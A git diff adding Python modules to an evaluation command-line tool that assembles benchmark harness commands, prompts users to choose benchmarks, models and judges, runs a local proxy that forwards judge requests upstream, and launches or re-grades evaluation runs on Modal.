+        f"EVAL_CLI_TIMEOUT={eval_cli_timeout(run_request, benchmark)}",
+    ]
+    # Omit --override-cpus/--override-memory-mb unless explicitly set, so Harbor
+    # applies each task's declared cpus/memory. Overriding below the declared
+    # values OOM-kills memory-heavy tasks (SIGKILL / exit 137).
+    if override_cpus is not None:
+        command += ["--override-cpus", str(int(override_cpus))]
+    if override_memory_mb is not None:
+        command += ["--override-memory-mb", str(int(override_memory_mb))]
+
+    openai_compatible_provider_json = run_request.get("openai_compatible_provider_json")
+    if openai_compatible_provider_json:
+        command.extend(
+            [
+                "--ae",
+                f"ZED_OPENAI_COMPATIBLE_PROVIDERS={openai_compatible_provider_json}",
+            ]
+        )
+    anthropic_available_models_json = run_request.get("anthropic_available_models_json")
+    if anthropic_available_models_json:
+        command.extend(
+            [
+                "--ae",
+                f"ZED_ANTHROPIC_AVAILABLE_MODELS={anthropic_available_models_json}",
+            ]
+        )
+
+    # NOTE: Pier's network allowlist for air-gapped DeepSWE tasks is declared by
+    # the agent (`network_allowlist()` on a Pier-native agent class), not via a
+    # CLI flag — see benchmarks.AGENT_API_HOSTS and the DeepSWE agent. There is
+    # no `--agent-allow-host` option on `pier run`.
+    if benchmark.get("needs_judge"):
+        judge = config.get_judge(run_request["judge_preset"])
+        judge_model = run_request.get("judge_model") or judge.model
+        command.extend(config.judge_verifier_args(judge, judge_model))
+
+    for key, value in (benchmark.get("env") or {}).items():
+        command.extend(["--ae", f"{key}={value}"])
+    for key, value in (run_request.get("extra_env") or {}).items():
+        command.extend(["--ae", f"{key}={value}"])
+
+    for task_name in run_request.get("task_names") or []:
+        command.extend(["--include-task-name", task_name])
+
+    n_tasks = run_request.get("n_tasks")
+    if n_tasks is not None:
+        command.extend(["--n-tasks", str(n_tasks)])
+
+    command.extend(run_request.get("extra_harbor_args") or [])
+    return command
+
+
+def run_metadata(run_request: dict[str, Any]) -> dict[str, Any]:
+    benchmark = _benchmark_block(run_request)
+    metadata: dict[str, Any] = {
+        "run_id": run_request["run_id"],
+        "namespace": run_request["namespace"],
+        "benchmark": benchmark,
+        "suite_id": run_request.get("suite_id"),
+        "harness": benchmark.get("harness"),
+        "scoring": benchmark.get("scoring"),
+        "build_id": run_request.get("build_id"),
+        "agent_model": run_request.get("agent_model") or config.DEFAULT_MODEL,
+        "orchestration": run_request.get("orchestration")
+        or config.orchestration_info(),
+        "build_toolchain": run_request.get("build_toolchain"),
+        "volume_name": run_request["volume_name"],
+        "api_secret_name": run_request["api_secret_name"],
+        "extra_api_secrets": run_request.get("extra_api_secrets") or [],
+        "openai_compatible_provider_json": run_request.get(
+            "openai_compatible_provider_json"
+        ),
+        "anthropic_available_models_json": run_request.get(
+            "anthropic_available_models_json"
+        ),
+        "n_concurrent": run_request.get("n_concurrent") or config.DEFAULT_N_CONCURRENT,
+        "override_cpus": run_request.get("override_cpus")
+        or config.DEFAULT_OVERRIDE_CPUS,
+        "override_memory_mb": run_request.get("override_memory_mb")
+        or config.DEFAULT_OVERRIDE_MEMORY_MB,
+        "eval_cli_timeout": eval_cli_timeout(run_request, benchmark),
+        "sandbox_timeout_secs": run_request.get("sandbox_timeout_secs")
+        or config.DEFAULT_SANDBOX_TIMEOUT_SECS,
+        "sandbox_idle_timeout_secs": run_request.get("sandbox_idle_timeout_secs")
+        or config.DEFAULT_SANDBOX_IDLE_TIMEOUT_SECS,
+        "task_count": len(run_request.get("task_names") or []),
+        "n_tasks": run_request.get("n_tasks"),
+    }
+    if benchmark.get("needs_judge"):
+        judge = config.get_judge(run_request["judge_preset"])
+        metadata["judge_preset"] = run_request["judge_preset"]
+        metadata["judge_model"] = run_request.get("judge_model") or judge.model
+        metadata["judge_upstream"] = judge.upstream
+        metadata["judge_auth_env"] = judge.auth_env
+        metadata["judge_eval_base_url"] = config.EVAL_BASE_URL_IN_SANDBOX
+    return metadata
diff --git a/crates/eval_cli/zed_eval/interactive.py b/crates/eval_cli/zed_eval/interactive.py
new file mode 100644
index 00000000000000..1829ab1e8b63d3
--- /dev/null
+++ b/crates/eval_cli/zed_eval/interactive.py
@@ -0,0 +1,163 @@
+from __future__ import annotations
+
+import argparse
+import sys
+
+from .common import dedupe_preserving_order, deployed_function
+
+INTERACTIVE_BENCHMARK_CHOICES = [
+    "qna",
+    "rf",
+    "tw",
+    "terminal-bench-2.1",
+    "deepswe",
+]
+INTERACTIVE_BENCHMARK_ALIASES = {
+    "terminal-bench": "terminal-bench-2.1",
+    "tb21": "terminal-bench-2.1",
+    "deep-swe": "deepswe",
+}
+INTERACTIVE_MODEL_CHOICES = [
+    "sonnet-4.6",
+    "opus-4.5",
+    "baseten:kimi-k2.7-code",
+    "baseten:deepseek-v4-pro",
+    "custom-zed-model",
+    "custom-baseten-model",
+]
+
+
+def prompt(label: str, default: str | None = None) -> str:
+    suffix = f" [{default}]" if default else ""
+    value = input(f"{label}{suffix}: ").strip()
+    return value or (default or "")
+
+
+def prompt_required(label: str) -> str:
+    while True:
+        value = prompt(label)
+        if value:
+            return value
+        print("Enter a value", file=sys.stderr)
+
+
+def prompt_choice(label: str, choices: list[str], default: str) -> str:
+    print(label)
+    for index, choice in enumerate(choices, start=1):
+        marker = " (default)" if choice == default else ""
+        print(f"  {index}. {choice}{marker}")
+    while True:
+        value = prompt("Choose", default)
+        if value in choices:
+            return value
+        if value.isdigit():
+            index = int(value) - 1
+            if 0 <= index < len(choices):
+                return choices[index]
+        print(f"Enter one of: {', '.join(choices)}", file=sys.stderr)
+
+
+def prompt_multi(
+    label: str,
+    choices: list[str],
+    default: list[str],
+    aliases: dict[str, str] | None = None,
+) -> list[str]:
+    default_text = ",".join(default)
+    canonical_choices = {choice.lower(): choice for choice in choices}
+    aliases = aliases or {}
+    print(label)
+    for choice in choices:
+        print(f"  - {choice}")
+    while True:
+        value = prompt("Comma-separated choices, or all", default_text)
+        selections = []
+        for selection in (part.strip().lower() for part in value.split(",")):
+            if not selection:
+                continue
+            if selection == "all":
+                return list(choices)
+            canonical = aliases.get(selection) or canonical_choices.get(selection)
+            if canonical is None:
+                valid = ", ".join([*choices, *sorted(aliases)])
+                print(f"unknown choice '{selection}' (valid: {valid})", file=sys.stderr)
+                break
+            selections.append(canonical)
+        else:
+            selections = dedupe_preserving_order(selections)
+            if selections:
+                return selections
+            print("Choose at least one benchmark", file=sys.stderr)
+
+
+def should_prompt(args: argparse.Namespace) -> bool:
+    if getattr(args, "interactive", False):
+        return True
+    if getattr(args, "yes", False):
+        return False
+    return sys.stdin.isatty() and not getattr(args, "parts", None)
+
+
+def choose_existing_build(args: argparse.Namespace) -> str:
+    try:
+        rows = deployed_function(args, "list_builds").remote(20)
+    except Exception as error:
+        print(
+            f"Could not list builds ({error}); falling back to manual entry.",
+            file=sys.stderr,
+        )
+        return prompt("Existing build id")
+    if not rows:
+        return prompt("No builds found; enter build id")
+    print("Existing builds")
+    for index, row in enumerate(rows, start=1):
+        build_id = row.get("build_id")
+        base = str(row.get("base_sha") or "")[:12]
+        patch = "dirty" if row.get("patch_sha256") else "clean"
+        ready = "ready" if row.get("ready") else "not-ready"
+        print(f"  {index}. {build_id}  {base}  {patch}  {ready}")
+    while True:
+        value = prompt("Choose build number or id", "1")
+        if value.isdigit():
+            index = int(value) - 1
+            if 0 <= index < len(rows):
+                return rows[index]["build_id"]
+        if value:
+            return value
+
+
+def configure_interactive_suite(args: argparse.Namespace) -> None:
+    if not should_prompt(args):
+        return
+
+    args.benchmark = prompt_multi(
+        "Which benchmarks should run?",
+        INTERACTIVE_BENCHMARK_CHOICES,
+        ["qna", "rf"],
+        aliases=INTERACTIVE_BENCHMARK_ALIASES,
+    )
+
+    if not getattr(args, "build", None):
+        build_choice = prompt_choice(
+            "Build selection",
+            ["auto", "existing-build"],
+            "auto",
+        )
+        if build_choice == "existing-build":
+            args.build = choose_existing_build(args)
+
+    model_choice = prompt_choice("Base model", INTERACTIVE_MODEL_CHOICES, "sonnet-4.6")
+    if model_choice == "custom-zed-model":
+        args.model = prompt("Zed model id (provider/model)", args.model)
+    elif model_choice == "custom-baseten-model":
+        args.model_provider = "baseten"
+        args.baseten_model = prompt_required("Baseten model id")
+    else:
+        args.model = model_choice
+
+    judge_choice = prompt_choice(
+        "Judge preset",
+        ["auto", "leaderboard", "deepseek-v4-pro", "kimi-k2.7-code", "gpt55"],
+        args.judge or "auto",
+    )
+    args.judge = judge_choice
diff --git a/crates/eval_cli/zed_eval/judge_proxy.py b/crates/eval_cli/zed_eval/judge_proxy.py
new file mode 100644
index 00000000000000..0a8066b4f771cf
--- /dev/null
+++ b/crates/eval_cli/zed_eval/judge_proxy.py
@@ -0,0 +1,104 @@
+"""The in-sandbox judge proxy shim, shared by the Harbor verifier and the
+offline rejudge path so judge calls go through one identical code path
+everywhere.
+
+Stdlib-only and free of any `harbor`/`modal` imports on purpose: `verifier.py`
+imports these constants for the live in-sandbox install, and `rejudge.py` runs
+the very same proxy in a plain container to re-grade stored runs. Keeping the
+shim here means there is exactly one implementation of the upstream fixups
+(Anthropic `response_format` stripping, `max_tokens` -> `max_completion_tokens`,
+the `ZED_JUDGE_MAX_TOKENS` floor) rather than a copy per call site.
+"""
+
+from __future__ import annotations
+
+# Stdlib-only OpenAI-protocol shim. The SWE-Atlas RF judge hardcodes
+# `response_format={"type": "json_object"}`, which Anthropic's OpenAI-compatible
+# endpoint rejects (400: "response_format.type: Input should be 'json_schema'").
+# The shim listens on 127.0.0.1:PORT and forwards to ZED_JUDGE_UPSTREAM, applying
+# upstream-specific fixups:
+#   - `response_format` is stripped ONLY for Anthropic (Baseten/OpenAI accept
+#     json_object, and the Kimi/DeepSeek judges rely on it);
+#   - `max_tokens` is renamed to `max_completion_tokens` (accepted by both
+#     Anthropic-compat and OpenAI, including GPT-5.x reasoning models that reject
+#     `max_tokens`) and raised to the ZED_JUDGE_MAX_TOKENS floor so the runtime
+#     judge matches the offline-calibrated token budget.
+# When ZED_JUDGE_AUTH_ENV is set, it replaces verifier auth with the named
+# sandbox env var; otherwise it passes auth headers through unchanged.
+JUDGE_PROXY_SCRIPT = """\
+import json, os, urllib.request, urllib.error
+from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
+
+UPSTREAM = os.environ.get("ZED_JUDGE_UPSTREAM", "https://api.anthropic.com/v1").rstrip("/")
+PORT = int(os.environ.get("ZED_JUDGE_PROXY_PORT", "8089"))
+AUTH_ENV = os.environ.get("ZED_JUDGE_AUTH_ENV")
+MAX_TOKENS_FLOOR = int(os.environ.get("ZED_JUDGE_MAX_TOKENS", "0"))
+
+class Handler(BaseHTTPRequestHandler):
+    def do_POST(self):
+        length = int(self.headers.get("Content-Length", 0))
+        body = self.rfile.read(length)
+        try:
+            payload = json.loads(body)
+            if "anthropic" in UPSTREAM:
+                payload.pop("response_format", None)
+            sent = payload.pop("max_tokens", None)
+            current = sent if sent is not None else payload.get("max_completion_tokens")
+            if current is not None or MAX_TOKENS_FLOOR:
+                payload["max_completion_tokens"] = max(current or 0, MAX_TOKENS_FLOOR)
+            body = json.dumps(payload).encode()
+        except Exception as error:
+            print(f"proxy: passing body through unmodified: {error}", flush=True)
+        path = self.path
+        if path.startswith("/v1/"):
+            path = path[len("/v1"):]
+        request = urllib.request.Request(UPSTREAM + path, data=body, method="POST")
+        request.add_header("Content-Type", "application/json")
+        auth_value = os.environ.get(AUTH_ENV, "") if AUTH_ENV else ""
+        if auth_value:
+            request.add_header("Authorization", f"Bearer {auth_value}")
+        else:
+            for header in ("Authorization", "x-api-key"):
+                value = self.headers.get(header)
+                if value:
+                    request.add_header(header, value)
+        for header in ("anthropic-version",):
+            value = self.headers.get(header)
+            if value:
+                request.add_header(header, value)
+        try:
+            with urllib.request.urlopen(request, timeout=900) as response:
+                data = response.read()
+                status = response.status
+        except urllib.error.HTTPError as error:
+            data = error.read()
+            status = error.code
+        except Exception as error:
+            data = json.dumps({"error": {"message": str(error)}}).encode()
+            status = 502
+        self.send_response(status)
+        self.send_header("Content-Type", "application/json")
+        self.send_header("Content-Length", str(len(data)))
+        self.end_headers()
+        self.wfile.write(data)
+
+    def log_message(self, format, *args):
+        print("proxy: " + format % args, flush=True)
+
+if __name__ == "__main__":
+    print(f"judge proxy listening on 127.0.0.1:{PORT} -> {UPSTREAM}", flush=True)
+    ThreadingHTTPServer(("127.0.0.1", PORT), Handler).serve_forever()
+"""
+
+# Idempotent starter. Uses bash's /dev/tcp (pgrep isn't in every image) to check
+# the port; the daemon inherits ZED_JUDGE_UPSTREAM from the verifier setup exec
+# env. stdout/stderr/stdin are fully detached so the spawning exec doesn't hang
+# on open pipes.
+JUDGE_PROXY_ENSURE_SCRIPT = """\
+#!/bin/bash
+if ! (exec 3<>/dev/tcp/127.0.0.1/${ZED_JUDGE_PROXY_PORT:-8089}) 2>/dev/null; then
+    nohup python3 /usr/local/lib/zed_judge_proxy.py \\
+        >>/tmp/zed-judge-proxy.log 2>&1 </dev/null &
+    sleep 1
+fi
+"""
diff --git a/crates/eval_cli/zed_eval/launch.py b/crates/eval_cli/zed_eval/launch.py
new file mode 100644
index 00000000000000..699cbe3bd39727
--- /dev/null
+++ b/crates/eval_cli/zed_eval/launch.py
@@ -0,0 +1,670 @@
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+import uuid
+from pathlib import Path
+from typing import Any
+
+from . import benchmarks, config, harness_command, run_index, source
+from .builds import prepare_build_request, resolve_source, validate_build_id
+from .common import (
+    dedupe_preserving_order,
+    default_namespace,
+    deployed_function,
+    modal_call_id,
+    parse_parts,
+    print_json,
+    utc_now,
+    utc_timestamp,
+)
+from .volume import build_ready_on_volume
+
+# Local scratch dir used only for dry-run/plan previews of harness commands.
+PREVIEW_JOBS_DIR = "/tmp/agent-evals/harbor-jobs"
+
+
+def read_task_file(path: str | None) -> list[str]:
+    if not path:
+        return []
+    return [
+        task_name
+        for line in Path(path).read_text().splitlines()
+        if (task_name := line.strip()) and not task_name.startswith("#")
+    ]
+
+
+def baseten_provider_json(
+    *,
+    model_id: str,
+    api_url: str,
+    display_name: str | None,
+    max_tokens: int,
+    max_output_tokens: int,
+) -> str:
+    provider = {
+        config.BASETEN_PROVIDER_ID: {
+            "api_url": api_url,
+            "available_models": [
+                {
+                    "name": model_id,
+                    "display_name": display_name or model_id,
+                    "max_tokens": max_tokens,
+                    "max_output_tokens": max_output_tokens,
+                    "capabilities": {
+                        "tools": True,
+                        "images": False,
+                        "parallel_tool_calls": False,
+                        "prompt_cache_key": False,
+                    },
+                }
+            ],
+        }
+    }
+    return json.dumps(provider, separators=(",", ":"))
+
+
+def resolve_model_preset(model: str) -> str:
+    resolved = config.resolve_model_preset(model)
+    if resolved != model:
+        return resolved
+    if model.startswith("baseten:"):
+        return f"{config.BASETEN_PROVIDER_ID}/{model.split(':', 1)[1]}"
+    return model
+
+
+def resolve_model_options(
+    args: argparse.Namespace,
+) -> tuple[str, str | None, list[str]]:
+    raw_model = getattr(args, "model", None) or config.DEFAULT_MODEL
+    model = resolve_model_preset(raw_model)
+    openai_compatible_provider_json = getattr(
+        args, "openai_compatible_provider_json", None
+    )
+    extra_api_secrets = list(getattr(args, "extra_api_secret", None) or [])
+
+    if getattr(args, "model_provider", None) == "baseten":
+        baseten_model = getattr(args, "baseten_model", None) or model
+        if baseten_model.startswith(f"{config.BASETEN_PROVIDER_ID}/"):
+            baseten_model = baseten_model.split("/", 1)[1]
+        if baseten_model.startswith("baseten:"):
+            baseten_model = baseten_model.split(":", 1)[1]
+        model = f"{config.BASETEN_PROVIDER_ID}/{baseten_model}"
+
+    if model.startswith(f"{config.BASETEN_PROVIDER_ID}/"):
+        baseten_model = model.split("/", 1)[1]
+        if not openai_compatible_provider_json:
+            openai_compatible_provider_json = baseten_provider_json(
+                model_id=baseten_model,
+                api_url=getattr(args, "baseten_api_url", config.BASETEN_API_URL),
+                display_name=getattr(args, "baseten_model_display_name", None),
+                max_tokens=getattr(
+                    args, "baseten_model_max_tokens", config.BASETEN_DEFAULT_MAX_TOKENS
+                ),
+                max_output_tokens=getattr(
+                    args,
+                    "baseten_model_max_output_tokens",
+                    config.BASETEN_DEFAULT_MAX_OUTPUT_TOKENS,
+                ),
+            )
+
+    return model, openai_compatible_provider_json, extra_api_secrets
+
+
+def derive_run_id(
+    base_run_id: str | None, suite_id: str | None, suffix: str, index: int
+) -> str:
+    """Pick a run id for one leg of a (possibly multi-target) launch.
+
+    An explicit --run-id is used verbatim for the first leg and suffixed for the
+    rest; otherwise legs hang off the suite id, falling back to a timestamped id
+    for a lone run.
+    """
+    if base_run_id:
+        return base_run_id if index == 0 else f"{base_run_id}-{suffix}"
+    if suite_id:
+        return f"{suite_id}-{suffix}-{uuid.uuid4().hex[:6]}"
+    return f"{utc_timestamp()}-{uuid.uuid4().hex[:6]}"
+
+
+def mint_suite_id(args: argparse.Namespace, run_count: int) -> str | None:
+    """A suite id groups multiple runs from one invocation; None for a lone run."""
+    if run_count <= 1:
+        return None
+    explicit = getattr(args, "suite_id", None)
+    if explicit:
+        return explicit
+    prefix = getattr(args, "run_id", None) or "run"
+    return f"{source.sanitize_namespace(prefix)}-{utc_timestamp()}"
+
+
+def build_rejudge_request(args: argparse.Namespace) -> dict[str, Any]:
+    """Build the request for re-grading an existing run with a different judge.
+
+    The positional `run_id` is the *parent* run; the derived run gets a new id
+    under the same experiment so `report`/`list` group them together. Only the
+    judge differs — no build, no agent model, no task selection.
+    """
+    judge_preset = args.judge
+    config.get_judge(judge_preset)  # validate before spawning anything remote
+    if getattr(args, "experiment_name", None):
+        experiment_name = source.sanitize_namespace(args.experiment_name)
+        namespace = default_namespace(args)
+    else:
+        entry = run_index.lookup(args.run_id)
+        if not entry:
+            raise ValueError(
+                f"could not locate run '{args.run_id}' in the local run index "
+                f"({run_index.index_path()}). Pass --experiment-name (and "
+                "--namespace if it isn't yours)."
+            )
+        experiment_name = source.sanitize_namespace(entry["experiment_name"])
+        namespace = source.sanitize_namespace(
+            getattr(args, "namespace", None) or entry["namespace"]
+        )
+    parent_namespace = (
+        source.sanitize_namespace(args.parent_namespace)
+        if getattr(args, "parent_namespace", None)
+        else namespace
+    )
+    parent_run_id = args.run_id
+    judge_slug = source.sanitize_namespace(judge_preset)
+    new_run_id = (
+        args.new_run_id
+        or f"{parent_run_id}-rejudge-{judge_slug}-{uuid.uuid4().hex[:6]}"
+    )
+    return {
+        "namespace": namespace,
+        "experiment_name": experiment_name,
+        "run_id": new_run_id,
+        "parent": {
+            "namespace": parent_namespace,
+            "experiment_name": experiment_name,
+            "run_id": parent_run_id,
+        },
+        "judge_preset": judge_preset,
+        "judge_model": getattr(args, "judge_model", None),
+        "volume_name": args.volume,
+        "api_secret_name": args.api_secret,
+        "created_at": utc_now(),
+    }
+
+
+def command_rejudge(args: argparse.Namespace) -> int:
+    rejudge_request = build_rejudge_request(args)
+    if getattr(args, "dry_run", False) or getattr(args, "plan", False):
+        print_json(rejudge_request)
+        return 0
+
+    controller = deployed_function(args, "rejudge_controller")
+    call = controller.spawn(rejudge_request)
+    run_index.record_run(
+        {**rejudge_request, "volume_name": args.volume, "kind": "rejudge"}
+    )
+    parent = rejudge_request["parent"]
+    print(f"Namespace:  {rejudge_request['namespace']}")
+    print(f"Experiment: {rejudge_request['experiment_name']}")
+    print(
+        f"Source run: {parent['namespace']}/{parent['experiment_name']}/"
+        f"{parent['run_id']}"
+    )
+    print(f"New run id: {rejudge_request['run_id']}")
+    print(f"Judge:      {rejudge_request['judge_preset']}")
+    print(f"Spawned rejudge controller: {modal_call_id(call)}")
+    print("\nNext steps (run id alone is enough):")
+    print(f"  zed-eval status {rejudge_request['run_id']}")
+    print(f"  zed-eval report {rejudge_request['run_id']} --fetch")
+    return 0
+
+
+def common_run_request_fields(
+    args: argparse.Namespace,
+    *,
+    namespace: str,
+    run_id: str,
+    experiment_name: str,
+    judge_preset: str | None,
+    build_id: str | None,
+    suite_id: str | None,
+) -> dict[str, Any]:
+    """Fields shared by every benchmark run request."""
+    agent_model, openai_compatible_provider_json, extra_api_secrets = (
+        resolve_model_options(args)
+    )
+    task_names = dedupe_preserving_order(
+        read_task_file(getattr(args, "tasks", None))
+        + (getattr(args, "include_task_name", None) or [])
+    )
+    return {
+        "created_at": utc_now(),
+        "namespace": namespace,
+        "run_id": run_id,
+        "experiment_name": experiment_name,
+        "volume_name": args.volume,
+        "api_secret_name": args.api_secret,
+        "modal_token_secret_name": args.modal_token_secret,
+        "orchestration": config.orchestration_info(),
+        "agent_model": agent_model,
+        "judge_preset": judge_preset,
+        "judge_model": getattr(args, "judge_model", None),
+        "build_id": build_id,
+        "task_names": task_names,
+        "n_tasks": getattr(args, "n_tasks", None),
+        "n_concurrent": getattr(args, "n_concurrent", config.DEFAULT_N_CONCURRENT),
+        "override_cpus": getattr(args, "override_cpus", config.DEFAULT_OVERRIDE_CPUS),
+        "override_memory_mb": getattr(
+            args, "override_memory_mb", config.DEFAULT_OVERRIDE_MEMORY_MB
+        ),
+        "sandbox_timeout_secs": getattr(
+            args, "sandbox_timeout_secs", config.DEFAULT_SANDBOX_TIMEOUT_SECS
+        ),
+        "sandbox_idle_timeout_secs": getattr(
+            args, "sandbox_idle_timeout_secs", config.DEFAULT_SANDBOX_IDLE_TIMEOUT_SECS
+        ),
+        "build_wait_timeout_secs": getattr(args, "build_wait_timeout_secs", 7200),
+        "extra_harbor_args": list(getattr(args, "extra_harbor_arg", None) or []),
+        "openai_compatible_provider_json": openai_compatible_provider_json,
+        "anthropic_available_models_json": getattr(
+            args, "anthropic_available_models_json", None
+        ),
+        "extra_api_secrets": dedupe_preserving_order(extra_api_secrets),
+        "suite_id": suite_id,
+    }
+
+
+def benchmark_plan_entry(
+    benchmark_id: str, run_request: dict[str, Any], build_request: dict[str, Any] | None
+) -> dict[str, Any]:
+    return {
+        "benchmark": benchmark_id,
+        "run_id": run_request["run_id"],
+        "harness": run_request["benchmark"]["harness"],
+        "model": run_request["agent_model"],
+        "judge": run_request.get("judge_preset"),
+        "build_id": run_request.get("build_id"),
+        "will_build": build_request is not None,
+        "n_tasks": run_request.get("n_tasks"),
+    }
+
+
+def print_plan(
+    summaries: list[dict[str, Any]],
+    details: list[tuple[str, dict[str, Any], dict[str, Any] | None]],
+    *,
+    verbose: bool,
+) -> None:
+    print("Plan:")
+    print_json(summaries)
+    if verbose:
+        for header, run_request, build_request in details:
+            print(f"\n=== {header} ===")
+            print_dry_run(run_request, build_request)
+
+
+def print_dry_run(
+    run_request: dict[str, Any], build_request: dict[str, Any] | None
+) -> None:
+    print("Run request:")
+    print_json(run_request)
+    if build_request:
+        print("\nBuild request:")
+        build_preview = dict(build_request)
+        patch = build_preview.pop("patch", "")
+        build_preview["patch_line_count"] = len(patch.splitlines())
+        build_preview["source"] = source.public_source_info(
+            build_request.get("source") or {}
+        )
+        print_json(build_preview)
+    command = config.redacted_command(
+        harness_command.build_harness_command(run_request, PREVIEW_JOBS_DIR)
+    )
+    print("\nHarness command:")
+    print(command)
+
+
+def execute_prepared_runs(
+    args: argparse.Namespace,
+    prepared: list[tuple[str, dict[str, Any], dict[str, Any] | None]],
+    plan_entry,
+) -> int:
+    if args.plan:
+        print_plan(
+            [
+                plan_entry(label, run_request, build_request)
+                for label, run_request, build_request in prepared
+            ],
+            prepared,
+            verbose=args.verbose,
+        )
+        return 0
+    if args.dry_run:
+        for label, run_request, build_request in prepared:
+            print(f"\n=== {label} ===")
+            print_dry_run(run_request, build_request)
+        return 0
+
+    spawned_builds: set[str] = set()
+    for label, run_request, build_request in prepared:
+        print(f"\n=== Launching {label} ===")
+        launch_prepared_run(args, run_request, build_request, spawned_builds)
+    return 0
+
+
+def launch_prepared_run(
+    args: argparse.Namespace,
+    run_request: dict[str, Any],
+    build_request: dict[str, Any] | None,
+    spawned_builds: set[str] | None = None,
+) -> None:
+    build_function = None
+    if build_request:
+        run_request["source"] = source.public_source_info(build_request["source"])
+        print_untracked_warning(build_request)
+        build_function = deployed_function(args, "build_eval_cli")
+    record_function = deployed_function(args, "create_run_record")
+    controller_function = deployed_function(args, "run_controller")
+
+    record_state = record_function.remote(run_request)
+    run_index.record_run(run_request)
+
+    print(f"Namespace:  {run_request['namespace']}")
+    print(f"Experiment: {run_request['experiment_name']}")
+    print(f"Run id:     {run_request['run_id']}")
+    print(f"Volume:     {run_request['volume_name']}")
+    print(f"Run state:  {record_state['status']}")
+    print(f"Model:      {run_request['agent_model']}")
+    if run_request.get("judge_preset"):
+        print(f"Judge:      {run_request['judge_preset']}")
+    if run_request.get("suite_id"):
+        print(f"Suite:      {run_request['suite_id']}")
+    if run_request.get("build_id"):
+        print(f"Build id:  {run_request['build_id']}")
+    if run_request.get("task_names"):
+        print(f"Tasks:     {len(run_request['task_names'])} explicit task(s)")
+    elif run_request.get("n_tasks"):
+        print(f"Tasks:     Harbor --n-tasks {run_request['n_tasks']}")
+    else:
+        print("Tasks:     full dataset selection")
+
+    build_id = run_request.get("build_id")
+    if build_function is not None and build_id not in (spawned_builds or set()):
+        build_call = build_function.spawn(build_request)
+        print(f"Spawned build:      {modal_call_id(build_call)}")
+        if spawned_builds is not None and build_id:
+            spawned_builds.add(build_id)
+    controller_call = controller_function.spawn(run_request)
+    print(f"Spawned controller: {modal_call_id(controller_call)}")
+
+    run_id = run_request["run_id"]
+    print(
+        "\nNext steps (run id alone is enough; namespace/experiment are resolved "
+        "from this machine's local run index):"
+    )
+    print(f"  zed-eval status {run_id}")
+    print(f"  zed-eval logs {run_id}")
+    print(f"  zed-eval report {run_id} --fetch")
+
+
+def resolve_benchmark_judge(
+    args: argparse.Namespace, benchmark: benchmarks.Benchmark
+) -> str | None:
+    if not benchmark.needs_judge:
+        return None
+    judge = getattr(args, "judge", None) or config.DEFAULT_JUDGE_PRESET
+    if judge == "auto":
+        return benchmark.default_judge or "leaderboard"
+    config.get_judge(judge)
+    return judge
+
+
+def benchmark_metadata_for_run(
+    args: argparse.Namespace, benchmark: benchmarks.Benchmark
+) -> dict[str, object]:
+    metadata = benchmarks.benchmark_metadata(benchmark)
+    dataset = metadata.get("dataset")
+    if (
+        isinstance(dataset, dict)
+        and dataset.get("repo_url") == benchmarks.SWE_ATLAS_REPO_URL
+    ):
+        dataset["repo_url"] = (
+            getattr(args, "swe_atlas_repo_url", None) or benchmarks.SWE_ATLAS_REPO_URL
+        )
+        dataset["repo_ref"] = (
+            getattr(args, "swe_atlas_repo_ref", None) or benchmarks.SWE_ATLAS_REPO_REF
+        )
+    return metadata
+
+
+def print_untracked_warning(build_request: dict[str, Any]) -> None:
+    build_source = build_request.get("source") or {}
+    untracked_files = build_source.get("untracked_files") or []
+    if untracked_files:
+        print(
+            f"Warning: proceeding with {len(untracked_files)} untracked file(s) "
+            "not included in the build patch.",
+            file=sys.stderr,
+        )
+
+
+def prepare_shared_build(
+    args: argparse.Namespace,
+) -> tuple[str | None, dict[str, Any] | None]:
+    """Resolve the build once for a whole (possibly multi-benchmark) run.
+
+    Returns `(build_id, build_request)`. `build_request` is None when the target
+    build already exists; otherwise the caller should spawn the build.
+    """
+    explicit_build_id = getattr(args, "build", None)
+    validate_build_id(explicit_build_id)
+    if (
+        explicit_build_id
+        and not getattr(args, "plan", False)
+        and not getattr(args, "dry_run", False)
+        and build_ready_on_volume(args, explicit_build_id)
+    ):
+        print(f"Reusing existing build {explicit_build_id} (already on volume)")
+        return explicit_build_id, None
+
+    base_sha, clean_source, source_label, pre_resolved = resolve_source(args)
+
+    build_request = prepare_build_request(
+        base_sha=base_sha,
+        patch_path=getattr(args, "patch_path", None),
+        build_id=explicit_build_id,
+        allow_untracked=getattr(args, "allow_untracked", False),
+        require_clean=getattr(args, "require_clean", False),
+        repo_url=getattr(args, "repo_url", None),
+        clean_source=clean_source,
+        source_label=source_label,
+        pre_resolved_base_sha=pre_resolved,
+    )
+    build_id = build_request["build_id"]
+
+    if not getattr(args, "plan", False) and not getattr(args, "dry_run", False):
+        if build_ready_on_volume(args, build_id):
+            print(f"Reusing existing build {build_id} (already on volume)")
+            return build_id, None
+
+    return build_id, build_request
+
+
+def command_build(args: argparse.Namespace) -> int:
+    build_id, build_request = prepare_shared_build(args)
+    if build_request is None:
+        return 0
+
+    print(f"Build id: {build_id}")
+    print(f"Base sha: {build_request['base_sha']}")
+    print(f"Patch sha256: {build_request['patch_sha256'] or '(none)'}")
+    print_untracked_warning(build_request)
+
+    build_function = deployed_function(args, "build_eval_cli")
+    if args.detach:
+        call = build_function.spawn(build_request)
+        print(f"Spawned build: {modal_call_id(call)}")
+    else:
+        result = build_function.remote(build_request)
+        print_json(result)
+    return 0
+
+
+def build_benchmark_run_request(
+    args: argparse.Namespace,
+    *,
+    benchmark_id: str,
+    build_id: str | None,
+    suite_id: str | None,
+    index: int,
+    run_id_suffix: str | None = None,
+) -> dict[str, Any]:
+    benchmark = benchmarks.get_benchmark(benchmark_id)
+    run_id = derive_run_id(
+        getattr(args, "run_id", None), suite_id, run_id_suffix or benchmark_id, index
+    )
+    # Staff mode is off by default for remote runs: it enables the sandboxed
+    # terminal, which hangs inside Modal sandboxes.
+    extra_env = {"EVAL_CLI_STAFF": "true" if getattr(args, "staff", False) else "false"}
+
+    return {
+        **common_run_request_fields(
+            args,
+            namespace=default_namespace(args),
+            run_id=run_id,
+            # The benchmark id doubles as the experiment name for run storage
+            # paths (runs/<namespace>/<experiment_name>/<run_id>), keeping
+            # monitoring and fetch uniform across benchmarks.
+            experiment_name=source.sanitize_namespace(benchmark_id),
+            judge_preset=resolve_benchmark_judge(args, benchmark),
+            build_id=build_id,
+            suite_id=suite_id,
+        ),
+        "benchmark": benchmark_metadata_for_run(args, benchmark),
+        "eval_cli_timeout": getattr(args, "eval_cli_timeout", None),
+        "extra_env": extra_env,
+    }
